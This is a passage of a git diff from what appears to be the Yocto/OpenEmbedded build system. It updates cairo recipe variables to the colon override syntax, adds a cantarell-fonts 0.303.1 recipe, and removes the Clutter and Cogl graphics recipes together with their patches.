PACKAGES =+ "cairo-gobject cairo-script-interpreter cairo-perf-utils"
-SUMMARY_cairo-gobject = "The Cairo library GObject wrapper library"
-DESCRIPTION_cairo-gobject = "A GObject wrapper library for the Cairo API."
+SUMMARY:cairo-gobject = "The Cairo library GObject wrapper library"
+DESCRIPTION:cairo-gobject = "A GObject wrapper library for the Cairo API."
-SUMMARY_cairo-script-interpreter = "The Cairo library script interpreter"
-DESCRIPTION_cairo-script-interpreter = "The Cairo script interpreter implements \
+SUMMARY:cairo-script-interpreter = "The Cairo library script interpreter"
+DESCRIPTION:cairo-script-interpreter = "The Cairo script interpreter implements \
CairoScript. CairoScript is used by tracing utilities to enable the ability \
to replay rendering."
-DESCRIPTION_cairo-perf-utils = "The Cairo library performance utilities"
+DESCRIPTION:cairo-perf-utils = "The Cairo library performance utilities"
-FILES_${PN} = "${libdir}/libcairo.so.*"
-FILES_${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
-FILES_${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
-FILES_${PN}-perf-utils = "${bindir}/cairo-trace* ${libdir}/cairo/*.la ${libdir}/cairo/libcairo-trace.so"
+FILES:${PN} = "${libdir}/libcairo.so.*"
+FILES:${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
+FILES:${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
+FILES:${PN}-perf-utils = "${bindir}/cairo-trace* ${libdir}/cairo/*.la ${libdir}/cairo/libcairo-trace.so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
new file mode 100644
index 0000000000..a3a69ae49c
--- /dev/null
+++ b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Cantarell, a Humanist sans-serif font family"
+
+DESCRIPTION = "The Cantarell font typeface is designed as a \
+ contemporary Humanist sans serif, and was developed for \
+ on-screen reading; in particular, reading web pages on an \
+ HTC Dream mobile phone."
+
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
+SECTION = "fonts"
+LICENSE = "OFL-1.1 & Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb1ef92b6909969a472a6ea3c4e99cb7"
+
+inherit gnomebase meson allarch fontcache pkgconfig
+SRC_URI[archive.sha256sum] = "f9463a0659c63e57e381fdd753cf1929225395c5b49135989424761830530411"
+
+EXTRA_OEMESON += "-Duseprebuilt=true -Dbuildappstream=false"
+
+FILES:${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
deleted file mode 100644
index db480bd397..0000000000
--- a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Cantarell, a Humanist sans-serif font family"
-
-DESCRIPTION = "The Cantarell font typeface is designed as a \
- contemporary Humanist sans serif, and was developed for \
- on-screen reading; in particular, reading web pages on an \
- HTC Dream mobile phone."
-
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
-SECTION = "fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=df91e3ffcab8cfb972a66bf11255188d"
-
-PV = "0.0.25"
-
-SRCREV = "e28a9096da43984212b5b4002b949bcb8c7527f9"
-SRC_URI = "git://gitlab.gnome.org/GNOME/cantarell-fonts.git;protocol=https;branch=reconstruction-0.0.25"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!0\.13)(?!0\.10\.1)\d+\.\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit autotools allarch fontcache pkgconfig
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fontforge] = "--enable-source-rebuild=yes,--enable-source-rebuild=no,fontforge-native"
-FILES_${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/clutter/clutter-1.0.inc b/meta/recipes-graphics/clutter/clutter-1.0.inc
deleted file mode 100644
index 80472178be..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0.inc
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Graphics library for creating hardware-accelerated user interfaces"
-DESCRIPTION = "Clutter is an Open GL based interactive canvas library, \
-designed for creating fast, mainly 2D single window applications such as media \
-box UIs, presentations, kiosk style applications and so on."
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2.1+"
-
-inherit clutter ptest-gnome features_check upstream-version-is-even gobject-introspection
-# depends on cogl-1.0 which needs opengl
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "pango glib-2.0 json-glib atk udev cogl-1.0"
-PACKAGE_BEFORE_PN += "${PN}-examples"
-AUTOTOOLS_AUXDIR = "${S}/build-aux"
-
-EDEPENDS_X11 = "virtual/libx11 libxi libxfixes"
-EDEPENDS_GLX = "virtual/libgl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_WAYLAND = "wayland libxkbcommon gdk-pixbuf"
-
-EDEPENDS_EVDEV = "libxkbcommon"
-ERDEPENDS_EVDEV = "xkeyboard-config"
-
-# Disable pretty much everything, override in platform specific set up
-EXTRA_OECONF += "--disable-quartz-backend \
- --disable-win32-backend \
- --disable-cex100-backend \
- --disable-tslib-input \
- "
-
-PACKAGECONFIG[gdk] = "--enable-gdk-backend,--disable-gdk-backend,gtk+3"
-PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,${EDEPENDS_X11}"
-PACKAGECONFIG[glx] = ",,${EDEPENDS_X11} ${EDEPENDS_GLX}"
-PACKAGECONFIG[egl] = "--enable-egl-backend,--disable-egl-backend,${EDEPENDS_EGL}"
-PACKAGECONFIG[evdev] = "--enable-evdev-input,--disable-evdev-input,${EDEPENDS_EVDEV},${ERDEPENDS_EVDEV}"
-PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,${EDEPENDS_WAYLAND}"
-PACKAGECONFIG[wayland-compositor] = "--enable-wayland-compositor,--disable-wayland-compositor,wayland"
-
-# Default configuration, distros might want to override
-PACKAGECONFIG ??= "egl gdk \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11', '', d)}"
-
-FILES_${PN}-examples = "${libdir}/clutter/examples"
-
-do_configure_prepend() {
- # see https://bugzilla.gnome.org/show_bug.cgi?id=661128 for this
- touch -t 200001010000 ${S}/po/clutter-1.0.pot
-}
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch b/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
deleted file mode 100644
index 7b3c1980b6..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
+++ /dev/null
@@ -1,143 +0,0 @@
-From 3a0404dfbc65c6a864e01d1200a48074e19d5def Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 2 Sep 2016 14:28:38 +0300
-Subject: [PATCH] Remove clutter.types as it is build configuration-specific.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- doc/reference/clutter.types | 122 --------------------------------------------
- 1 file changed, 122 deletions(-)
- delete mode 100644 doc/reference/clutter.types
-
-diff --git a/doc/reference/clutter.types b/doc/reference/clutter.types
-deleted file mode 100644
-index 0037acc..0000000
---- a/doc/reference/clutter.types
-+++ /dev/null
-@@ -1,122 +0,0 @@
--cally_actor_get_type
--cally_clone_get_type
--cally_group_get_type
--cally_rectangle_get_type
--cally_root_get_type
--cally_stage_get_type
--cally_text_get_type
--cally_texture_get_type
--cally_util_get_type
--clutter_action_get_type
--clutter_actor_box_get_type
--clutter_actor_get_type
--clutter_actor_meta_get_type
--clutter_align_constraint_get_type
--clutter_alpha_get_type
--clutter_animatable_get_type
--clutter_animation_get_type
--clutter_animator_get_type
--clutter_animator_key_get_type
--clutter_backend_get_type
--clutter_behaviour_depth_get_type
--clutter_behaviour_ellipse_get_type
--clutter_behaviour_get_type
--clutter_behaviour_opacity_get_type
--clutter_behaviour_path_get_type
--clutter_behaviour_rotate_get_type
--clutter_behaviour_scale_get_type
--clutter_bin_layout_get_type
--clutter_bind_constraint_get_type
--clutter_binding_pool_get_type
--clutter_blur_effect_get_type
--clutter_box_get_type
--clutter_box_layout_get_type
--clutter_brightness_contrast_effect_get_type
--clutter_cairo_texture_get_type
--clutter_canvas_get_type
--clutter_child_meta_get_type
--clutter_click_action_get_type
--clutter_clip_node_get_type
--clutter_clone_get_type
--clutter_color_get_type
--clutter_color_node_get_type
--clutter_colorize_effect_get_type
--clutter_constraint_get_type
--clutter_container_get_type
--clutter_content_get_type
--clutter_deform_effect_get_type
--clutter_desaturate_effect_get_type
--clutter_device_manager_get_type
--clutter_drag_action_get_type
--clutter_drop_action_get_type
--clutter_effect_get_type
--clutter_event_get_type
--clutter_event_sequence_get_type
--clutter_fixed_layout_get_type
--clutter_flow_layout_get_type
--clutter_fog_get_type
--clutter_geometry_get_type
--clutter_gesture_action_get_type
--clutter_glx_texture_pixmap_get_type
--clutter_grid_layout_get_type
--clutter_group_get_type
--clutter_image_get_type
--clutter_input_device_get_type
--clutter_interval_get_type
--clutter_keyframe_transition_get_type
--clutter_knot_get_type
--clutter_layout_manager_get_type
--clutter_layout_meta_get_type
--clutter_list_model_get_type
--clutter_margin_get_type
--clutter_media_get_type
--clutter_model_get_type
--clutter_model_iter_get_type
--clutter_offscreen_effect_get_type
--clutter_page_turn_effect_get_type
--clutter_paint_node_get_type
--clutter_paint_volume_get_type
--clutter_pan_action_get_type
--clutter_param_color_get_type
--clutter_param_fixed_get_type
--clutter_param_units_get_type
--clutter_path_constraint_get_type
--clutter_path_get_type
--clutter_path_node_get_type
--clutter_perspective_get_type
--clutter_pipeline_node_get_type
--clutter_point_get_type
--clutter_property_transition_get_type
--clutter_rect_get_type
--clutter_rectangle_get_type
--clutter_rotate_action_get_type
--clutter_score_get_type
--clutter_script_get_type
--clutter_scriptable_get_type
--clutter_scroll_actor_get_type
--clutter_settings_get_type
--clutter_shader_effect_get_type
--clutter_shader_float_get_type
--clutter_shader_get_type
--clutter_shader_int_get_type
--clutter_shader_matrix_get_type
--clutter_size_get_type
--clutter_snap_constraint_get_type
--clutter_stage_get_type
--clutter_stage_manager_get_type
--clutter_state_get_type
--clutter_state_key_get_type
--clutter_swipe_action_get_type
--clutter_table_layout_get_type
--clutter_tap_action_get_type
--clutter_text_buffer_get_type
--clutter_text_get_type
--clutter_text_node_get_type
--clutter_texture_get_type
--clutter_texture_node_get_type
--clutter_timeline_get_type
--clutter_transition_get_type
--clutter_transition_group_get_type
--clutter_units_get_type
--clutter_vertex_get_type
--clutter_zoom_action_get_type
---
-2.9.3
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch b/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
deleted file mode 100644
index ce9ab3a248..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/install-examples.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Install the examples to $libdir/clutter/.
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Inappropriate
-
-Index: clutter-1.26.2/examples/Makefile.am
-===================================================================
---- clutter-1.26.2.orig/examples/Makefile.am
-+++ clutter-1.26.2/examples/Makefile.am
-@@ -33,7 +33,8 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/clutter \
- -I$(top_builddir)/clutter
-
--noinst_PROGRAMS = $(all_examples)
-+exampledir = $(pkglibdir)/examples
-+example_PROGRAMS = $(all_examples)
-
- EXTRA_DIST = redhand.png
-
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch b/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
deleted file mode 100644
index fef82eaf92..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-installed-tests-with-tap-output.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From d6ceb5a44b28e0e50ede22b84984d8516897de4b Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Mon, 27 Apr 2015 20:12:33 +0300
-Subject: [PATCH] Run installed tests with tap output
-
-Configure output from installed-tests to be TAP compliant such that
-gnome-desktop-testing-runner properly interprets the results.
-
-Upstream-Status: Pending
-
-Signed-off-by: Tim Orling <TicoTimo@gmail.com>
-
----
- build-aux/autotools/glib-tap.mk | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/build-aux/autotools/glib-tap.mk b/build-aux/autotools/glib-tap.mk
-index a4f0dad..51cfa31 100644
---- a/build-aux/autotools/glib-tap.mk
-+++ b/build-aux/autotools/glib-tap.mk
-@@ -127,7 +127,8 @@ installed_test_meta_DATA = $(installed_testcases:=.test)
- %.test: %$(EXEEXT) Makefile
- $(AM_V_GEN) (echo '[Test]' > $@.tmp; \
- echo 'Type=session' >> $@.tmp; \
-- echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$<' >> $@.tmp; \
-+ echo 'Exec=env G_ENABLE_DIAGNOSTIC=0 CLUTTER_ENABLE_DIAGNOSTIC=0 $(installed_testdir)/$< --tap' >> $@.tmp; \
-+ echo 'Output=TAP' >> $@.tmp; \
- mv $@.tmp $@)
-
- CLEANFILES += $(installed_test_meta_DATA)
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest b/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
deleted file mode 100644
index 98877e5226..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#! /bin/sh
-
-gnome-desktop-testing-runner clutter
diff --git a/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb b/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb
deleted file mode 100644
index ee549fbdd5..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0_1.26.4.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require clutter-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI[archive.md5sum] = "624dd776a5159de0267587b1df6b97b2"
-SRC_URI[archive.sha256sum] = "8b48fac159843f556d0a6be3dbfc6b083fc6d9c58a20a49a6b4919ab4263c4e6"
-SRC_URI += "file://install-examples.patch \
- file://run-installed-tests-with-tap-output.patch \
- file://0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch \
- file://run-ptest"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc b/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
deleted file mode 100644
index 7d9db1f38c..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "GStreamer integration library for Clutter"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-inherit clutter features_check upstream-version-is-even gobject-introspection
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-export GST_PLUGIN_SCANNER_1_0="${S}/gst-plugin-scanner-dummy"
-
-SRC_URI += "file://0001-Install-example-binary-needed-for-core-image-clutter.patch"
-
-DEPENDS = "gstreamer1.0-plugins-base gstreamer1.0-plugins-bad clutter-1.0 libgudev"
-RDEPENDS_${PN} += "gstreamer1.0-meta-base"
-PACKAGES =+ "${PN}-examples"
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/lib*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.la"
-FILES_${PN}-examples = "${bindir}/video-player ${bindir}/video-sink"
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch b/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
deleted file mode 100644
index 0b26b990d7..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0/0001-Install-example-binary-needed-for-core-image-clutter.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From d77c711277bf075ce0545c19b322f040c49c778a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 30 Apr 2015 12:19:13 +0300
-Subject: [PATCH] Install example binary needed for core-image-clutter
-
-Signed-off-by: Zhai Edwin <edwin.zhai@intel.com>
-
-Upstream-Status: Inappropriate [configuration]
-
-Imported from clutter-gst-1.8 package, git://git.openembedded.org/openembedded,
-commit ae28ee3f7a060b9e0d13154a84f2444a98490b5b, updated for clutter-gst 3.0
-
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- examples/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/examples/Makefile.am b/examples/Makefile.am
-index bfbc1b5..09655e3 100644
---- a/examples/Makefile.am
-+++ b/examples/Makefile.am
-@@ -1,6 +1,6 @@
- NULL = #
-
--noinst_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-+bin_PROGRAMS = camera-player video-player video-sink video-sink-navigation video-content
-
- AM_CPPFLAGS = -I$(top_srcdir) \
- $(MAINTAINER_CFLAGS) \
---
-2.1.4
-
diff --git a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb b/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
deleted file mode 100644
index 35382453c2..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gst-3.0_3.0.27.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gst-3.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://clutter-gst/clutter-gst.h;beginline=1;endline=24;md5=95baacba194e814c110ea3bdf25ddbf4"
-
-SRC_URI[archive.md5sum] = "2bf9d7ca146c9d71e86c45cd00e9a28e"
-SRC_URI[archive.sha256sum] = "fe69bd6c659d24ab30da3f091eb91cd1970026d431179b0724f13791e8ad9f9d"
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc b/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
deleted file mode 100644
index 7bf2278555..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Library for embedding a Clutter canvas in a GTK+ application"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2+"
-
-CLUTTERBASEBUILDCLASS = "meson"
-inherit clutter features_check upstream-version-is-even gobject-introspection gtk-doc
-
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-# depends on gtk+3
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS = "clutter-1.0 gtk+3"
-PACKAGES =+ "${PN}-examples"
-
-GTKDOC_MESON_OPTION = "enable_docs"
-
-GIR_MESON_OPTION = 'enable_gi'
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch b/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
deleted file mode 100644
index e21c6fd903..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7233883c6bd4e80c0e91b29b5c76fe798023e9fe Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 11 Feb 2019 16:41:13 +0100
-Subject: [PATCH] Add a config variable for enabling/disabling introspection
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- clutter-gtk/meson.build | 2 +-
- meson_options.txt | 4 ++++
- 2 files changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/clutter-gtk/meson.build b/clutter-gtk/meson.build
-index 5d6847d..5d934b6 100644
---- a/clutter-gtk/meson.build
-+++ b/clutter-gtk/meson.build
-@@ -49,7 +49,7 @@ clutter_gtk_dep = declare_dependency(link_with: clutter_gtk,
- dependencies: [ mathlib_dep, clutter_dep, gtk_dep ],
- include_directories: include_directories('.'))
-
--if not meson.is_cross_build()
-+if get_option('enable_gi')
- gnome.generate_gir(clutter_gtk,
- sources: clutter_gtk_headers + clutter_gtk_sources,
- namespace: 'GtkClutter',
-diff --git a/meson_options.txt b/meson_options.txt
-index aaf59f1..b7e51c3 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -2,3 +2,7 @@ option('enable_docs',
- type: 'boolean',
- value: false,
- description: 'Enable generating the API reference (depends on GTK-Doc)')
-+option('enable_gi',
-+ type: 'boolean',
-+ value: false,
-+ description: 'Enable gobject introspection')
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb b/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
deleted file mode 100644
index 53948c8944..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gtk-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-SRC_URI += " file://0001-Add-a-config-variable-for-enabling-disabling-introsp.patch"
-SRC_URI[archive.md5sum] = "b363ac9878e2337be887b8ee9e1da00e"
-SRC_URI[archive.sha256sum] = "521493ec038973c77edcb8bc5eac23eed41645117894aaee7300b2487cb42b06"
diff --git a/meta/recipes-graphics/cogl/cogl-1.0.inc b/meta/recipes-graphics/cogl/cogl-1.0.inc
deleted file mode 100644
index d581ad1c04..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "Modern 3D graphics API with associated utility APIs"
-DESCRIPTION = "Cogl is a small open source library for using 3D graphics \
-hardware for rendering. The API departs from the flat state machine style of \
-OpenGL and is designed to make it easy to write orthogonal components that \
-can render without stepping on each others toes."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/cogl"
-LICENSE = "MIT"
-
-inherit clutter features_check upstream-version-is-even gobject-introspection
-# cogl-1.0 needs opengl to build
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "glib-2.0 gdk-pixbuf"
-PACKAGES =+ "${PN}-examples \
- libcogl libcogl-gles2 libcogl-pango libcogl-path \
- "
-AUTOTOOLS_AUXDIR = "${S}/build"
-
-# Extra DEPENDS for PACKAGECONFIG
-EDEPENDS_GL = "virtual/libgl libdrm"
-EDEPENDS_GLES2 = "virtual/libgles2"
-EDEPENDS_KMS = "libdrm virtual/egl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_X11 = "virtual/libx11 libxcomposite libxdamage libxfixes libxrandr"
-EDEPENDS_WAYLAND = "virtual/egl virtual/libgles2 wayland"
-
-# Extra RDEPENDS for PACKAGECONFIG
-# This has to be explictly listed, because cogl dlopens the backends
-ERDEPENDS_GL = "libgl"
-ERDEPENDS_GLES2 = "libgles2"
-
-# GLESv1 is rarely tested, so disable it
-EXTRA_OECONF += "--enable-examples-install \
- --enable-debug \
- --disable-gles1 \
- --disable-cairo \
- "
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
-
-# OpenGL/GLX
-PACKAGECONFIG[glx] = "--enable-gl --enable-glx,--disable-gl --disable-glx,${EDEPENDS_GL} ${EDEPENDS_X11},${ERDEPENDS_GL}"
-
-# GLESv2
-PACKAGECONFIG[gles2] = "--enable-gles2,--disable-gles2,${EDEPENDS_GLES2}, ${ERDEPENDS_GLES2}"
-
-# EGL backends
-PACKAGECONFIG[egl-kms] = "--enable-kms-egl-platform,--disable-kms-egl-platform,${EDEPENDS_KMS}"
-PACKAGECONFIG[egl-null] = "--enable-null-egl-platform,--disable-null-egl-platform"
-PACKAGECONFIG[egl-x11] = "--enable-xlib-egl-platform,--disable-xlib-egl-platform,${EDEPENDS_X11} ${EDEPENDS_EGL}"
-PACKAGECONFIG[egl-wayland] = "--enable-wayland-egl-platform,--disable-wayland-egl-platform,${EDEPENDS_WAYLAND}"
-
-# Wayland (server-side)
-PACKAGECONFIG[wayland-server] = "--enable-wayland-egl-server,--disable-wayland-egl-server,${EDEPENDS_WAYLAND}"
-
-# Support rendering text directly with Pango
-PACKAGECONFIG[cogl-pango] = "--enable-cogl-pango,--disable-cogl-pango,pango"
-
-# Respect the DISTRO_FEATURES to pull in GLX or Wayland as appropriate by
-# default.
-PACKAGECONFIG ??= "cogl-pango gles2 \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'egl-wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx egl-x11', '', d)} \
- "
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/cogl/.libs"
-}
-
-FILES_${PN} = ""
-FILES_${PN}-examples = "${bindir}/* ${datadir}/cogl/examples-data/*"
-FILES_libcogl = "${libdir}/libcogl${SOLIBS} ${libdir}/girepository-1.0/Cogl-*.typelib"
-FILES_libcogl-gles2 = "${libdir}/libcogl-gles2${SOLIBS}"
-FILES_libcogl-pango = "${libdir}/libcogl-pango${SOLIBS} ${libdir}/girepository-1.0/CoglPango*.typelib"
-
-FILES_libcogl-path = "${libdir}/libcogl-path${SOLIBS}"
-
-# For backwards compatibility after Debian-renaming
-RPROVIDES_libcogl = "cogl-1.0"
-RCONFLICTS_libcogl = "cogl-1.0"
-RREPLACES_libcogl = "cogl-1.0"
-
-RDEPENDS_${PN}-dev = "libcogl"
-
-COMPATIBLE_HOST_armv4 = 'null'
diff --git a/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch b/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch
deleted file mode 100644
index 328984a63f..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch
+++ /dev/null
@@ -1,92 +0,0 @@
-From bb9765a926588ebfe1eb324fbbe8fc22d419eebe Mon Sep 17 00:00:00 2001
-From: Max Krummenacher <max.krummenacher@toradex.com>
-Date: Thu, 25 Jun 2020 11:27:40 +0000
-Subject: [PATCH] configure.ac: don't require eglmesaext.h
-
-E.g. the Vivante EGL implementation does not provide eglmesaext.h.
-
-The commit moves the check for header file existence outside of the
-check for existence of a egl packageconfig and makes the existence
-of eglmesaext.h optional.
-
-fixes commit fb1acfec ("Fix building against libglvnd-provided EGL headers")
-Signed-off-by: Max Krummenacher <max.krummenacher@toradex.com>
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/cogl/-/merge_requests/28]
-Signed-off-by: Max Krummenacher <max.krummenacher@toradex.com>
----
- configure.ac | 51 ++++++++++++++++++++++++++++++++-------------------
- 1 file changed, 32 insertions(+), 19 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index b7ba95d..0d1d8de 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1212,22 +1212,6 @@ AS_IF([test "x$NEED_EGL" = "xyes" && test "x$EGL_CHECKED" != "xyes"],
- PKG_CHECK_EXISTS([egl],
- [COGL_PKG_REQUIRES="$COGL_PKG_REQUIRES egl"],
- [
-- AC_CHECK_HEADERS(
-- [EGL/egl.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])])
-- AC_CHECK_HEADERS(
-- [EGL/eglext.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])],
-- [#include <EGL/egl.h>])
-- AC_CHECK_HEADERS(
-- [EGL/eglmesaext.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])],
-- [#include <EGL/egl.h>
--#include <EGL/eglext.h>])
--
- AC_CHECK_LIB(EGL, [eglInitialize],
- [COGL_EXTRA_LDFLAGS="$COGL_EXTRA_LDFLAGS -lEGL"],
- [AC_MSG_ERROR([Unable to locate required EGL library])])
-@@ -1236,9 +1220,38 @@ AS_IF([test "x$NEED_EGL" = "xyes" && test "x$EGL_CHECKED" != "xyes"],
- ]
- )
-
-- COGL_EGL_INCLUDES="#include <EGL/egl.h>
--#include <EGL/eglext.h>
--#include <EGL/eglmesaext.h>"
-+dnl Test for the existence of egl headers.
-+dnl egl*.h includes eglplatform.h which on __unix__ defaults to a X11 platform.
-+dnl In that case AC_CHECK_HEADERS failes if X11 headers are not available.
-+dnl Set the usual include guard define and, if the EGL implementation doesn't
-+dnl use that guard fall back to USE_OZONE and EGL_NO_X11 platforms which don't
-+dnl require additional headers.
-+ AC_CHECK_HEADERS(
-+ [EGL/egl.h],
-+ [COGL_EGL_INCLUDES="#include <EGL/egl.h>"],
-+ [AC_MSG_ERROR([Unable to locate required EGL headers])],
-+ [#define __egl_h_
-+ #define USE_OZONE
-+ #define EGL_NO_X11])
-+ AC_CHECK_HEADERS(
